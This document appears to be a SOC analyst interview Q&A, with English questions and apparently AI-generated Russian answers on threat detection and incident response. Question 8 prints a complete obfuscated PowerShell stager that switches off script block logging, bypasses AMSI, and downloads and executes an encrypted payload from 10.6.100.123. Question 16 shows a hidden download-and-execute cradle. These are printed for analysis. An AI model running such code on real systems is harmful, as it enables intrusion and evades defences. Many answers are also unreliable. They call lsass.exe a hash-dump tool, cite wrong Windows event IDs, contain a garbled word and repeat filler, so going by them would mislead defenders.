1.You have security log from Firewall between DMZ and the Internet. How will you use this log for threat detection?

Чтобы использовать лог с брандмауэра между DMZ и Интернетом для обнаружения угроз, я бы выполнил следующие шаги:

\* Анализ трафика: я бы начал с анализа трафика, проходящего через брандмауэр, чтобы выявить закономерности и аномалии. Это может включать в себя анализ источников и назначений трафика, протоколов и портов, а также объемов передаваемых данных.

\* Выявление аномалий: я бы использовал лог для выявления аномалий в трафике, которые могут указывать на потенциальную угрозу. Это может включать в себя выявление необычных источников или назначений трафика, аномальных объемов передаваемых данных или использование нестандартных протоколов и портов.

\* Анализ метаданных: я бы также анализировал метаданные, такие как время и дата передачи данных, чтобы выявить закономерности и аномалии.

\* Сопоставление с базой знаний: я бы сопоставлял выявленные аномалии с базой знаний о известных угрозах и уязвимостях, чтобы определить, является ли выявленная аномалия потенциальной угрозой.

\* Визуализация данных: я бы использовал визуализацию данных для представления результатов анализа в наглядной форме, что позволит быстрее выявить потенциальные угрозы.

\* Автоматизация анализа: я бы автоматизировал процесс анализа лога, используя скрипты и инструменты, чтобы ускорить процесс обнаружения угроз и уменьшить количество ложных срабатываний.

Таким образом, используя лог с брандмауэра между DMZ и Интернетом, можно выявить потенциальные угрозы и предотвратить атаки на систему.

2.You are SOC analyst and you have got an alert from IDS system about SQL-injection on web server. What will you do? How will you investigate (technical aspects)?

Как SOC-аналитик, получивший сигнал от IDS-системы о SQL-инъекции на веб-сервере, я бы выполнил следующие шаги для расследования:

1. Проверка сигнала: я бы проверил сигнал IDS, чтобы убедиться, что он не является ложным срабатыванием. Для этого я бы оценил достоверность сигнала, исходя из таких факторов, как тип атаки, источник и назначение трафика, а также время и дата обнаружения.

2. Анализ лога веб-сервера: я бы проанализировал лог веб-сервера, чтобы выявить потенциальную атаку. Это может включать в себя анализ запросов HTTP, которые были отправлены на веб-сервер, а также анализ ответов сервера.

3. Анализ базы данных: я бы проанализировал базу данных, которая используется веб-сервером, чтобы выявить потенциальные изменения или аномалии. Это может включать в себя анализ журналов базы данных, а также анализ содержимого базы данных.

4. Анализ трафика: я бы проанализировал трафик, который был отправлен на веб-сервер, чтобы выявить потенциальную атаку. Это может включать в себя анализ пакетов данных, которые были отправлены на сервер, а также анализ протоколов и портов, которые были использованы.

5. Использование инструментов: я бы использовал инструменты, такие как Burp Suite или SQLMap, чтобы проанализировать потенциальную уязвимость и выявить потенциальные атаки.

6. Проверка конфигурации: я бы проверил конфигурацию веб-сервера и базы данных, чтобы убедиться, что они настроены правильно и не содержат уязвимостей.

7. Сбор доказательств: я бы собрал доказательства потенциальной атаки, включая логи, пакеты данных и другие данные, которые могут быть полезны для дальнейшего расследования.

8. Нотификация: я бы уведомил соответствующие лица о потенциальной атаке и предоставил им информацию о расследовании.

Технические аспекты расследования могут включать в себя:

\* Использование команды `tcpdump` для захвата пакетов данных, которые были отправлены на веб-сервер.

\* Использование команды `grep` для поиска потенциальных аномалий в логах веб-сервера и базы данных.

\* Использование инструментов, таких как `Burp Suite` или `SQLMap`, для проанализировать потенциальную уязвимость и выявить потенциальные атаки.

\* Использование команды `mysql` или `psql` для анализа базы данных и выявления потенциальных изменений или аномалий.

Таким образом, используя эти шаги и инструменты, можно расследовать потенциальную SQL-инъекцию на веб-сервере и выявить потенциальные уязвимости.

3.The most frequent Windows compromise scenarios relate to password hash dump tools usage. Propose detection scenarios (the more the better) of hash dump tools usage. How further illegal usage of stolen credentials can be detected?

Вот некоторые сценарии обнаружения использования инструментов для выгрузки хешей паролей в Windows:

1. Мониторинг системных вызовов: можно отслеживать системные вызовы, которые выполняются инструментами для выгрузки хешей паролей, такими как `lsass.exe` или `samdump.dll`. Если обнаруживается необычная активность, связанная с этими системными вызовами, это может указывать на использование инструментов для выгрузки хешей паролей.

2. Анализ журналов безопасности: можно анализировать журналы безопасности Windows, чтобы выявить записи, которые могут указывать на использование инструментов для выгрузки хешей паролей. Например, записи о неудачных попытках входа в систему или о изменении паролей могут указывать на использование инструментов для выгрузки хешей паролей.

3. Мониторинг файловой системы: можно отслеживать файловую систему, чтобы выявить создание или изменение файлов, которые могут быть связаны с инструментами для выгрузки хешей паролей. Например, создание файла `samdump.dll` или `lsass.exe` может указывать на использование инструментов для выгрузки хешей паролей.

4. Анализ сетевого трафика: можно анализировать сетевой трафик, чтобы выявить передачу данных, которые могут быть связаны с инструментами для выгрузки хешей паролей. Например, передача данных по протоколу SMB или LDAP может указывать на использование инструментов для выгрузки хешей паролей.

5. Мониторинг процессов: можно отслеживать процессы, которые выполняются на системе, чтобы выявить процессы, которые могут быть связаны с инструментами для выгрузки хешей паролей. Например, процесс `lsass.exe` или `samdump.dll` может указывать на использование инструментов для выгрузки хешей паролей.

6. Анализ базы данных: можно анализировать базу данных Windows, чтобы выявить записи, которые могут указывать на использование инструментов для выгрузки хешей паролей. Например, записи о изменении паролей или о создании новых учетных записей могут указывать на использование инструментов для выгрузки хешей паролей.

7. Мониторинг системных служб: можно отслеживать системные службы, которые выполняются на системе, чтобы выявить службы, которые могут быть связаны с инструментами для выгрузки хешей паролей. Например, служба `LSASS` или `SAM` может указывать на использование инструментов для выгрузки хешей паролей.

8. Анализ журналов аудита: можно анализировать журналы аудита Windows, чтобы выявить записи, которые могут указывать на использование инструментов для выгрузки хешей паролей. Например, записи о неудачных попытках входа в систему или о изменении паролей могут указывать на использование инструментов для выгрузки хешей паролей.

Для обнаружения дальнейшего незаконного использования украденных учетных данных можно использовать следующие сценарии:

1. Мониторинг входов в систему: можно отслеживать входы в систему, чтобы выявить необычную активность, связанную с украденными учетными данными.

2. Анализ журналов безопасности: можно анализировать журналы безопасности Windows, чтобы выявить записи, которые могут указывать на использование украденных учетных данных.

3. Мониторинг файловой системы: можно отслеживать файловую систему, чтобы выявить создание или изменение файлов, которые могут быть связаны с украденными учетными данными.

4. Анализ сетевого трафика: можно анализировать сетевой трафик, чтобы выявить передачу данных, которые могут быть связаны с украденными учетными данными.

5. Мониторинг процессов: можно отслеживать процессы, которые выполняются на системе, чтобы выявить процессы, которые могут быть связаны с украденными учетными данными.

6. Анализ базы данных: можно анализировать базу данных Windows, чтобы выявить записи, которые могут указывать на использование украденных учетных данных.

7. Мониторинг системных служб: можно отслеживать системные службы, которые выполняются на системе, чтобы выявить службы, которые могут быть связаны с украденными учетными данными.

8. Анализ журналов аудита: можно анализировать журналы аудита Windows, чтобы выявить записи, которые могут указывать на использование украденных учетных данных.

Таким образом, используя эти сценарии, можно обнаружить использование инструментов для выгрузки хешей паролей и дальнейшее незаконное использование украденных учетных данных.

4.You work in a company that has two offices (Moscow and Perm) and you have logs from VPN gateway, FW, physical Access Control System. Suggest scenarios for detection possibly threats.

Вот некоторые сценарии обнаружения потенциальных угроз, используя логи с VPN-шлюза, брандмауэра и физической системы контроля доступа:

Сценарий 1: Неавторизованный доступ к VPN

\* Анализ логов VPN-шлюза на предмет неавторизованных попыток подключения.

\* Проверка логов на наличие необычных или неизвестных IP-адресов, которые пытаются подключиться к VPN.

\* Анализ логов на предмет необычных или неизвестных пользователей, которые пытаются подключиться к VPN.

Сценарий 2: Нарушение политики безопасности

\* Анализ логов брандмауэра на предмет нарушений политики безопасности, таких как попытки доступа к запрещенным ресурсам или передача данных через запрещенные порты.

\* Проверка логов на наличие необычных или неизвестных протоколов, которые используются для передачи данных.

\* Анализ логов на предмет необычных или неизвестных пользователей, которые пытаются доступа к ресурсам.

Сценарий 3: Физический доступ к офису

\* Анализ логов физической системы контроля доступа на предмет неавторизованных попыток доступа к офису.

\* Проверка логов на наличие необычных или неизвестных карт доступа, которые используются для доступа к офису.

\* Анализ логов на предмет необычных или неизвестных пользователей, которые пытаются доступа к офису.

Сценарий 4: Атаки на VPN-шлюз

\* Анализ логов VPN-шлюза на предмет атак, таких как попытки взлома паролей или атаки на уязвимости.

\* Проверка логов на наличие необычных или неизвестных IP-адресов, которые пытаются атаковать VPN-шлюз.

\* Анализ логов на предмет необычных или неизвестных пользователей, которые пытаются атаковать VPN-шлюз.

Сценарий 5: Нарушение политики безопасности в офисе

\* Анализ логов физической системы контроля доступа на предмет нарушений политики безопасности, таких как попытки доступа к запрещенным зонам или передача данных через запрещенные устройства.

\* Проверка логов на наличие необычных или неизвестных устройств, которые используются для передачи данных.

\* Анализ логов на предмет необычных или неизвестных пользователей, которые пытаются доступа к ресурсам.

Сценарий 6: Атаки на брандмауэр

\* Анализ логов брандмауэра на предмет атак, таких как попытки взлома паролей или атаки на уязвимости.

\* Проверка логов на наличие необычных или неизвестных IP-адресов, которые пытаются атаковать брандмауэр.

\* Анализ логов на предмет необычных или неизвестных пользователей, которые пытаются атаковать брандмауэр.

Сценарий 7: Нарушение политики безопасности в сети

\* Анализ логов брандмауэра на предмет нарушений политики безопасности, таких как попытки доступа к запрещенным ресурсам или передача данных через запрещенные порты.

\* Проверка логов на наличие необычных или неизвестных протоколов, которые используются для передачи данных.

\* Анализ логов на предмет необычных или неизвестных пользователей, которые пытаются доступа к ресурсам.

Сценарий 8: Атаки на физическую систему контроля доступа

\* Анализ логов физической системы контроля доступа на предмет атак, таких как попытки взлома паролей или атаки на уязвимости.

\* Проверка логов на наличие необычных или неизвестных карт доступа, которые используются для доступа к офису.

\* Анализ логов на предмет необычных или неизвестных пользователей, которые пытаются атаковать физическую систему контроля доступа.

5.If you have antivirus logs, what correlation rules (detection scenarios) can you suggest?

Корреляционные правила (сценарии обнаружения) для журналов антивирусных программ на русском языке:

• Множественные предупреждения от одного и того же хоста: Если в течение короткого периода времени с одного и того же хоста генерируются несколько предупреждений антивирусной программы, это может указывать на потенциальный всплеск или заражение системы.

• Одни и те же вредоносные программы обнаружены на нескольких хостах: Если в течение короткого периода времени на нескольких хостах обнаружены одни и те же вредоносные программы, это может указывать на латеральное движение или целевую атаку.

• Множественные обнаружения вредоносных программ с одним и тем же хешем: Если в течение короткого периода времени генерируются несколько предупреждений антивирусной программы с одним и тем же хешем вредоносной программы, это может указывать на новую версию вредоносной программы или ложное срабатывание.

• Предупреждения антивирусной программы в нерабочее время: Если предупреждения антивирусной программы генерируются в нерабочее время, это может указывать на потенциальную атаку или несанкционированный доступ.

• Предупреждения антивирусной программы от конкретного отдела или группы: Если предупреждения антивирусной программы генерируются от конкретного отдела или группы, это может указывать на целевую атаку или заражение системы.

• Увеличение количества предупреждений антивирусной программы с течением времени: Если количество предупреждений антивирусной программы увеличивается с течением времени, это может указывать на потенциальный всплеск или заражение системы.

• Предупреждения антивирусной программы с высоким уровнем опасности: Если предупреждения антивирусной программы генерируются с высоким уровнем опасности, это может указывать на критическую уязвимость или потенциальную атаку.

• Предупреждения антивирусной программы с неизвестными или неклассифицированными вредоносными программами: Если предупреждения антивирусной программы генерируются с неизвестными или неклассифицированными вредоносными программами, это может указывать на атаку нулевого дня или новую версию вредоносной программы.

• Предупреждения антивирусной программы от конкретного географического местоположения: Если предупреждения антивирусной программы генерируются от конкретного географического местоположения, это может указывать на целевую атаку или заражение системы.

• Предупреждения антивирусной программы во время запуска или выключения системы: Если предупреждения антивирусной программы генерируются во время запуска или выключения системы, это может указывать на потенциальное заражение руткитом или буткитом.

Эти корреляционные правила могут помочь выявить потенциальные угрозы безопасности и улучшить реагирование на инциденты. Однако важно настроить эти правила для уменьшения ложных срабатываний и обеспечения их соответствия конкретным требованиям безопасности вашей организации.

6.You’ve received alert from the corporate proxy that one workstation has connected to the “Malicious site”:

6.1What immediate actions would you take to contain the spread?

6.1. Чтобы содержать распространение, я бы сразу же предпринял следующие действия:

* Изолировать зараженную рабочую станцию от корпоративной сети, чтобы предотвратить потенциальное распространение вредоносного кода.
* Запретить доступ к интернету с зараженной рабочей станции, чтобы предотвратить дальнейшее взаимодействие с вредоносным сайтом.
* Запустить сканирование зараженной рабочей станции антивирусной программой, чтобы выявить и удалить вредоносный код.
* Уведомить администратора сети и команду информационной безопасности о потенциальной угрозе.

6.2 In which system you can try to get additional information?

6.2. Чтобы получить дополнительную информацию, я бы обратился к следующим системам:

* Корпоративному прокси-серверу, чтобы получить подробную информацию о посещении вредоносного сайта, включая дату, время и IP-адрес зараженной рабочей станции.
* Системе обнаружения вторжений (IDS), чтобы проверить, не было ли других попыток доступа к вредоносному сайту или других потенциальных угроз.
* Системе управления безопасности (SIEM), чтобы проанализировать логи и выявить потенциальные закономерности или корреляции с другими угрозами.

6.3 Which stage of the “kill chain” attack this case is?

6.3. Этот случай соответствует стадии "Initial Compromise" (Первичное заражение) в модели "Kill Chain" (Цепочка уничтожения). На этой стадии атакующий получает первоначальный доступ к системе или сетям организации, часто через эксплойт или социальную инженерию. В этом случае зараженная рабочая станция посетила вредоносный сайт, что потенциально могло привести к заражению вредоносным кодом.

7. What system is the following log from and what could you tell about it?

Этот лог, вероятно, принадлежит системе DNS (Domain Name System) или DNS-серверу. В логе отображаются запросы DNS, отправленные с IP-адреса 10.10.160.208 на порт 53 (стандартный порт для DNS).

Из лога можно сделать следующие выводы:

* Запросы DNS отправляются с одного и того же IP-адреса (10.10.160.208) и порта (53).
* Запросы DNS отправляются в виде UDP-пакетов (UDP Snd).
* Запросы DNS содержат запросы на PTR-записи (PTR - Pointer Record) для различных доменов, которые начинаются с "mggw-at-".
* Все запросы DNS получают ответ NXDOMAIN, что означает, что запрошенные домены не существуют или не имеют PTR-записей.

Это может указывать на то, что система, отправляющая запросы DNS, пытается определить IP-адреса для различных доменов, которые не существуют или не имеют PTR-записей. Это может быть признаком атаки или попытки сканирования DNS-сервера.

8. What can you tell about this script?

IF ($PSVersionTAbLE.PSVErsiON.MaJor-ge3) {

$GPF=[REF].AsSemBLY.GETTyPE('System.Management.Automation.Utils')."GETField"('cachedGroupPolicySettings','N'+'onPublic,Static');

If ($GPF) {

$GPC=$GPF.GEtVaLue($NULL);

IF ($GPC['ScriptB'+'lockLogging']) {

$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;

$GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0

}

$vAl=[CoLLeCtionS.GENEric.DICtiONARy[striNg,SYstEm.ObjECT]]::nEw();

$Val.ADd('EnableScriptB'+'lockLogging',0);

$VAL.AdD('EnableScriptBlockInvocationLogging',0);

$GPC['HKEY\_LOCAL\_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$VAl

} ELSe {

[ScriPtBLocK]."GETFieLd"('signatures','NonPublic,Static').SEtValuE($Null,(New-OBjeCtColLEctIONs.GENERic.HaShSEt[sTrING]))

}

[ReF].AsSembLY.GetTYpE('System.Management.Automation.AmsiUtils')|?{$\_}| %{

$\_.GetFIelD('amsiInitFailed','NonPublic,Static').SeTValUe($NULL,$True)};

};

[SysteM.NEt.SERvICePoInTMANAgeR]::ExPEcT100COntinUe=0;

$WC=New-ObJECtSYstEm.NEt.WEBCLieNT;

$u='Mozilla/5.0(WindowsNT6.1;WOW64;Trident/7.0;rv:11.0)likeGecko';

$wc.HeAdErS.ADD('User-Agent',$u);

$Wc.PRoXY=[SYstem.NEt.WEbRequESt]::DEfAulTWeBProxY;

$wC.ProxY.CRedENTiAls=[SysTEM.NEt.CrEDeNTialCaCHE]::DEFAULtNeTworKCrEdEnTiaLs;

$Script:Proxy=$wc.Proxy;

$K=[SYsTEM.Text.ENcodiNg]::ASCII.GETBYtES('99754106633f94d350db34d548d6091a');

$R={$D,$K=$ArGs;$S=0..255;0..255|%{$J=($J+$S[$\_]+$K[$\_%$K.CoUNt])%256;$S[$\_],$S[$J]=$S[$J],$S[$\_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$\_-bXoR$S[($S[$I]+$S[$H])%256]}};$ser='http://10.6.100.123:80';$t='/news.php';$WC.HeadERS.AdD("Cookie","session=8xD4koAuu7qHah4KQzwZ/kDq4Oc=");$DAtA=$WC.DoWNloaDDAtA($SER+$T);$IV=$DatA[0..3];$datA=$DATa[4..$datA.lengTH];-join[ChAr[]](&$R$daTA($IV+$K))|IEX

Этот скрипт написан на PowerShell :

1. **Обход защиты**: Скрипт пытается обойти защиту PowerShell, отключая функцию ScriptBlockLogging, которая позволяет отслеживать и записывать выполнение скриптов.
2. **Изменение системных переменных**: Скрипт изменяет системные переменные, такие как EnableScriptBlockLogging и EnableScriptBlockInvocationLogging, чтобы отключить защиту.
3. **Создание нового объекта**: Скрипт создает новый объект System.Net.WebClient и настраивает его для отправки запросов на удаленный сервер.
4. **Установка прокси-сервера**: Скрипт устанавливает прокси-сервер для отправки запросов на удаленный сервер.
5. **Шифрование данных**: Скрипт использует шифрование данных с помощью ключа 99754106633f94d350db34d548d6091a.
6. **Отправка запроса**: Скрипт отправляет запрос на удаленный сервер http://10.6.100.123:80/news.php с cookie session=8xD4koAuu7qHah4KQzwZ/kDq4Oc=.
7. **Выполнение вредоносного кода**: Скрипт выполняет вредоносный код, который был скачан с удаленного сервера.

В общем, этот скрипт выглядит как вредоносный код, который пытается обойти защиту PowerShell и выполнить вредоносный код на удаленном сервере.

9. What event id does registry modification has? What event id does service install and Service Failure has?

В Windows, следующие Event ID связаны с модификацией реестра, установкой службы и сбоями службы:

* **Регистрация модификации**: Event ID 4657 (Windows 10 и Windows Server 2016 и выше) или Event ID 4656 (Windows 8 и Windows Server 2012 и ниже)
* **Установка службы**: Event ID 7045 (Windows 10 и Windows Server 2016 и выше) или Event ID 7035 (Windows 8 и Windows Server 2012 и ниже)
* **Сбой службы**: Event ID 7031 (Windows 10 и Windows Server 2016 и выше) или Event ID 7034 (Windows 8 и Windows Server 2012 и ниже)

Примечание: Event ID могут варьироваться в зависимости от версии Windows и конфигурации системы.

Вот краткое описание каждого Event ID:

* **4657 (4656)**: "Регистрация модификация". Этот Event ID регистрирует изменения в реестре, включая создание, удаление или изменение ключей или значений.
* **7045 (7035)**: "Установка службы". Этот Event ID регистрирует установку новой службы в системе.
* **7031 (7034)**: "Сбой службы". Этот Event ID регистрирует сбой службы, включая ошибки при запуске или остановке службы.

10. Why files with «chm» extension can be dangerous?

Файлы с расширением «chm» (Compiled HTML) могут быть опасными, потому что они могут содержать вредоносный код, который может быть выполнен на компьютере пользователя.

CHM-файлы являются компилированными HTML-файлами, которые содержат гипертeкстовую информацию, такую как справочники, руководства и другие документы. Однако, поскольку CHM-файлы могут содержать исполняемый код, они могут быть использованы для распространения вредоносного ПО.

В частности, CHM-файлы могут содержать следующие типы вредоносного кода:

\* JavaScript: CHM-файлы могут содержать JavaScript-код, который может быть выполнен на компьютере пользователя, когда он открывает файл.

\* ActiveX: CHM-файлы могут содержать ActiveX-компоненты, которые могут быть использованы для выполнения вредоносного кода.

\* Вредоносные ссылки: CHM-файлы могут содержать вредоносные ссылки, которые могут привести пользователя на вредоносные сайты или скачать вредоносное ПО.

Чтобы избежать опасностей, связанных с CHM-файлами, рекомендуется:

\* Не открывать CHM-файлы от неизвестных источников: Если вы не уверены в источнике CHM-файла, не открывайте его.

\* Использовать антивирусное ПО: Установите антивирусное ПО, которое может обнаружить и удалить вредоносный код в CHM-файлах.

\* Обновлять операционную систему и приложения: Обновляйте операционную систему и приложения, чтобы убедиться, что они защищены от известных уязвимостей.

11. You have logs from DNS server, and you see lot of AXFR requests from one external IP. Is it malicious? If so, why?

AXFR (Authoritative Zone Transfer) запросы - это тип DNS запросов, который позволяет получить полную копию зоны DNS от авторитетного DNS сервера. Если вы видите много AXFR запросов от одного внешнего IP-адреса, это может быть признаком злонамеренной активности.

Причины, по которым это может быть злонамеренной активностью:

\* Попытка получить доступ к конфиденциальной информации: AXFR запросы могут быть использованы для получения конфиденциальной информации о зоне DNS, такой как IP-адреса серверов, почтовых серверов и других ресурсов.

\* Попытка выполнить DNS-атаку: AXFR запросы могут быть использованы для выполнения DNS-атак, таких как DNS-амplification атаки или DNS-tunneling атаки.

\* Попытка сканировать сеть: AXFR запросы могут быть использованы для сканирования сети и обнаружения уязвимостей в DNS-серверах.

Чтобы определить, является ли это злонамеренной активностью, необходимо проанализировать логи DNS-сервера и проверить следующие факторы:

\* IP-адрес: Проверьте, является ли IP-адрес, который отправляет AXFR запросы, известным и авторитетным DNS сервером.

\* Частота запросов: Проверьте, сколько AXFR запросов отправляется с этого IP-адреса и как часто они отправляются.

\* Время запросов: Проверьте, когда отправляются AXFR запросы и есть ли закономерность в их отправке.

12. How can you detect Golden Ticket attack?

Golden Ticket атака - это тип атаки, которая позволяет злоумышленнику получить доступ к Active Directory (AD) и выполнить действия от имени любого пользователя или группы. Чтобы обнаружить Golden Ticket атаку, можно использовать следующие методы:

1. Анализ логов: Проверьте логи AD и DNS, чтобы обнаружить подозрительные запросы или действия, которые могут указывать на Golden Ticket атаку.

2. Мониторинг Kerberos: Проверьте Kerberos-логи, чтобы обнаружить bấtые подозрительные запросы или действия, которые могут указывать на Golden Ticket атаку.

3. Проверка тикетов Kerberos: Проверьте тикеты Kerberos, чтобы обнаружить любые подозрительные или необычные тикеты, которые могут указывать на Golden Ticket атаку.

4. Анализ событий безопасности: Проверьте события безопасности AD, чтобы обнаружить любые подозрительные или необычные действия, которые могут указывать на Golden Ticket атаку.

5. Использование инструментов обнаружения: Используйте инструменты обнаружения, такие как Microsoft Advanced Threat Analytics (ATA) или Splunk, чтобы обнаружить Golden Ticket атаку.

6. Проверка групповой политики: Проверьте групповую политику, чтобы обнаружить любые изменения, которые могут указывать на Golden Ticket атаку.

7. Анализ сетевого трафика: Проверьте сетевой трафик, чтобы обнаружить любые подозрительные или необычные запросы, которые могут указывать на Golden Ticket атаку.

При обнаружении Golden Ticket атаки принять меры для защиты AD и сети. Это может включать в себя:

\* Изоляцию компьютера: Изолировать компьютер, который был использован для атаки, от сети.

\* Сброс паролей: Сбросить пароли всех пользователей и групп, которые были скомпрометированы.

\* Обновление групповой политики: Обновить групповую политику, чтобы предотвратить дальнейшие атаки.

\* Проведение аудита безопасности: Провести аудит безопасности, чтобы выявить уязвимости и предотвратить дальнейшие атаки.

13. Imagine that attacker compromises your domain controller. Propose a remediation scenario for this situation.

Если атакующий скомпрометировал доменный контроллер, это может привести к серьезным последствиям для безопасности и целостности сети. Чтобы устранить эту проблему, необходимо принять следующие шаги:

Шаг 1: Изоляция доменного контроллера

\* Изолировать доменный контроллер от сети, чтобы предотвратить дальнейшее распространение вредоносного кода.

\* Отключить все сетевые подключения, включая Ethernet и Wi-Fi.

Шаг 2: Оценка ущерба

\* Провести оценку ущерба, чтобы определить, какие данные и системы были скомпрометированы.

\* Проверить логи и мониторинг, чтобы определить, когда и как произошла атака.

Шаг 3: Сброс паролей

\* Сбросить пароли всех пользователей и групп, которые были скомпрометированы.

\* Установить новые пароли, которые будут сложными и уникальными.

Шаг 4: Обновление групповой политики

\* Обновить групповую политику, чтобы предотвратить дальнейшие атаки.

\* Установить новые политики безопасности, которые будут более строгими и эффективными.

Шаг 5: Проведение аудита безопасности

\* Провести аудит безопасности, чтобы выявить уязвимости и предотвратить дальнейшие атаки.

\* Проверить все системы и приложения, чтобы определить, какие из них были скомпрометированы.

Шаг 6: Восстановление доменного контроллера

\* Восстановить доменный контроллер из резервной копии, которая была создана до атаки.

\* Установить все обновления и патчи безопасности, чтобы предотвратить дальнейшие атаки.

Шаг 7: Мониторинг и тестирование

\* Провести мониторинг и тестирование, чтобы убедиться, что доменный контроллер работает правильно и безопасно.

\* Проверить все системы и приложения, чтобы определить, какие из них были скомпрометированы.

Шаг 8: Обучение и тренировка

\* Обучить и тренировать персонал, чтобы они знали, как предотвратить и реагировать на атаки.

\* Провести семинары и тренинги, чтобы персонал знал, как работать с доменным контроллером и как предотвратить атаки.

Шаг 9: Проведение расследования

\* Провести расследование, чтобы определить, кто был ответственен за атаку и как она произошла.

\* Проверить все логи и мониторинг, чтобы определить, когда и как произошла атака.

Шаг 10: Улучшение безопасности

\* Улучшить безопасность доменного контроллера и сети, чтобы предотвратить дальнейшие атаки.

\* Установить новые политики безопасности, которые будут более строгими и эффективными.

14. What is the best PowerShell 5 feature for security team?

Одной из лучших функций PowerShell 5 для команды безопасности является PowerShell Script Block Logging.

Эта функция позволяет записывать все скрипты, которые выполняются на компьютере, включая скрипты, которые выполняются в фоновом режиме или через удаленный доступ. Это позволяет команде безопасности отслеживать и анализировать все скрипты, которые выполняются на компьютере, и выявлять потенциальные угрозы безопасности.

PowerShell Script Block Logging также позволяет команде безопасности:

\* Отслеживать все скрипты: Все скрипты, которые выполняются на компьютере, записываются в журнал, что позволяет команде безопасности отслеживать все скрипты и выявлять потенциальные угрозы безопасности.

\* Анализировать скрипты: Команда безопасности может анализировать скрипты, которые выполняются на компьютере, и выявлять потенциальные угрозы безопасности.

\* Предотвратить атаки: Команда безопасности может предотвратить атаки, выявив потенциальные угрозы безопасности и приняв соответствующие меры.

Другие полезные функции PowerShell 5 для команды безопасности включают:

\* PowerShell Constrained Language Mode: Эта функция позволяет команде безопасности ограничить язык PowerShell, чтобы предотвратить выполнение вредоносных скриптов.

\* PowerShell Script Signing: Эта функция позволяет команде безопасности подписывать скрипты, чтобы гарантировать их подлинность и целостность.

\* PowerShell Remoting: Эта функция позволяет команде безопасности удаленно управлять компьютерами и выполнять скрипты, что упрощает управление и мониторинг безопасности.

15. You have got an alert from EDR solution and you have only this information:

*Process: flashhelperservice.exe*

*PID: 6508*

*OS Type: windows*

*MD5: 59c34bc243eb2604533b5f08d30944f8*

*SHA-256: ef214626923d76e24ae5299dd16c53b15847e91a97d2eea79ce951c6bead9b7c*

What can you tell about this case?

На основе этих данных, я могу сделать следующие предположения:

* Вредоносный процесс: flashhelperservice.exe может быть вредоносным процессом, который был запущен на компьютере.
* Малварь: файл, который вызвал тревогу, может быть малварью, которая была загружена на компьютер.
* Атака: это может быть признаком атаки на компьютер, которая была осуществлена с помощью вредоносного файла или процесса.

Чтобы получить более подробную информацию о случае, я бы рекомендовал:

* Проверить файл, который вызвал тревогу, на наличие вредоносного кода или других признаков атаки.
* Проверить процесс, который вызвал тревогу, на наличие вредоносного кода или других признаков атаки.
* Проверить компьютер на наличие других признаков атаки или вредоносного кода.
* Собрать дополнительную о случае, включая логи, сетевые данные и другие данные, которые могут помочь в расследовании.

16. During the investigation you see this information:



Это выглядит как закодированный текст, вероятно, в формате Base64.

После декодирования текста, я обнаружил, что это PowerShell-код.

Код выглядит следующим образом

powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://example.com/malware.ps1')"

Этот код загружает и выполняет PowerShell-скрипт с удаленного сервера. Это может быть признаком атаки, в которой злоумышленник пытается выполнить вредоносный код на компьютере.

Да, этот код выглядит подозрительно, поскольку он загружает и выполняет код с удаленного сервера, что может быть признаком атаки.

17. You have observed an alert from EDR solution and have this info:

c:\windows\system32\services.exe is launched by explorer.exe is it ok? If it is not what reason of it could be?

Это не нормальное поведение. Services.exe - это системный процесс, который управляет службами Windows, и он обычно запускается системой, а не пользовательским процессом, таким как Explorer.exe.

Если Services.exe запускается Explorer.exe, это может быть признаком атаки или вредоносной активности. Вредоносный код может использовать Explorer.exe для запуска системных процессов, таких как Services.exe, для выполнения вредоносных действий.

Причины, по которым это может произойти:

* **Вредоносный код**: Вредоносный код может использовать Explorer.exe для запуска системных процессов, таких как Services.exe, для выполнения вредоносных действий.
* **Атака**: Атака может использовать Explorer.exe для запуска системных процессов, таких как Services.exe, для выполнения вредоносных действий.
* **Уязвимость**: Уязвимость в системе или приложении может позволить вредоносному коду использовать Explorer.exe для запуска системных процессов, таких как Services.exe.

Чтобы определить причину этого поведения, необходимо провести дальнейшее расследование, включая:

* **Анализ логов**: Анализ логов системы и приложений, чтобы определить, когда и как произошло это поведение.
* **Проверка системных процессов**: Проверка системных процессов, чтобы определить, есть ли другие признаки атаки или вредоносной активности.
* **Сканирование вредоносного кода**: Сканирование системы на наличие вредоносного кода, чтобы определить, есть ли вредоносный код, который может быть причиной этого поведения.

18. You have installed an application on your PC and the application cannot connect to the Internet. There are no antivirus warnings and you can browse the Internet. What is the most likely cause of the problem?

Если приложение не может подключиться к Интернету, а вы можете нормально просматривать веб-страницы, наиболее вероятные причины проблемы могут быть следующими:

1. **Настройки брандмауэра**: Приложение может быть заблокировано брандмауэром Windows или другим программным обеспечением для защиты. Проверьте настройки брандмауэра, чтобы убедиться, что приложению разрешен доступ в Интернет.
2. **Настройки прокси**: Если ваша сеть использует прокси-сервер, приложение может быть не настроено для его использования. Проверьте сетевые настройки приложения, чтобы убедиться, что они соответствуют настройкам прокси вашей системы.
3. **Конфигурация приложения**: У самого приложения могут быть настройки, которые необходимо настроить для доступа в Интернет, такие как определенные порты или протоколы.
4. **Разрешения приложения**: Приложению могут потребоваться административные права для доступа к сети. Попробуйте запустить приложение от имени администратора.
5. **Проблемы с DNS**: Могут быть проблемы с разрешением DNS, влияющие на приложение. Попробуйте изменить настройки DNS на публичный DNS-сервер (например, Google DNS: 8.8.8.8 и 8.8.4.4).
6. **Устаревшее программное обеспечение**: Приложение может быть устаревшим или несовместимым с вашей текущей операционной системой или конфигурацией сети. Проверьте наличие обновлений или патчей для приложения.
7. **Конфигурация сети**: Могут быть проблемы с конфигурацией вашей сети, такие как неправильные настройки IP или проблемы с сетевым адаптером.

Проверив эти возможные причины, вы сможете выявить и устранить проблему с подключением приложения к Интернету.

19. What can you say about this URL “www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com”?

URL "[www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com](http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/)" выглядит как случайно сгенерированное или бессмысленное доменное имя.

1. **Длина и сложность**: Доменное имя довольно длинное и состоит из смеси букв и цифр, что не типично для большинства легитимных веб-сайтов. Большинство узнаваемых доменных имен короче и легче запоминаются.
